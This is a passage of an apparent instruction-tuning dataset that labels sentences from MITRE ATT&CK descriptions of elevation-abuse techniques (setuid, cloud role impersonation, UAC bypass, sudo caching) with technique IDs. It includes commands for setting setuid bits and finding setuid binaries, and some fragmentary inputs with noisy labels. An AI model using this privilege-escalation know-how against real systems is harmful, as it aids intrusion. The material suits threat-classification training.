T1547.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page)", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)).", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[file]</code> or via shorthand naming, <code>chmod u+s", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [file]</code> or via shorthand naming, <code>chmod u+s ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[file]</code>.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [file]</code>. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This will enable the setuid bit.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This will enable the setuid bit. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation:", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OSX Keydnap malware)", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OSX Keydnap malware) ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)).", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>find</code> command can also be used to search for such files.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>find</code> command can also be used to search for such files. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid.", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", "output": "T1548.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid) ### Response: T1548.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Just-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Just-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation:", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service Account Authentication Roles)", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service Account Authentication Roles) ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation:", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries that compromise a sufficiently privileged account may grant another account they control", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries that compromise a sufficiently privileged account may grant another account they control ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022) ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass UAC mechanisms to elevate process privileges on system.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass UAC mechanisms to elevate process privileges on system. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many methods have been discovered to bypass UAC.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many methods have been discovered to bypass UAC. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses.", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", "output": "T1548.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) ### Response: T1548.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges)", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although this API is deprecated, it still fully functions in the latest releases of macOS.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although this API is deprecated, it still fully functions in the latest releases of macOS. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation:", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OSX Coldroot RAT)", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OSX Coldroot RAT) ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!) ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may do this to execute commands as other users or spawn processes with higher privileges.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may do this to execute commands as other users or spawn processes with higher privileges. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Within Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Within Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\"(Citation: sudo man page 2018)", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \"(Citation: sudo man page 2018) ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is because <code>sudo</code> has the ability to cache credentials for a period of time.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is because <code>sudo</code> has the ability to cache credentials for a period of time. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This also describes which commands users can run as other users or groups.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This also describes which commands users can run as other users or groups. ### Response: T1548.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password.", "output": "T1548.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This provides the principle of least privilege such that users are running in their 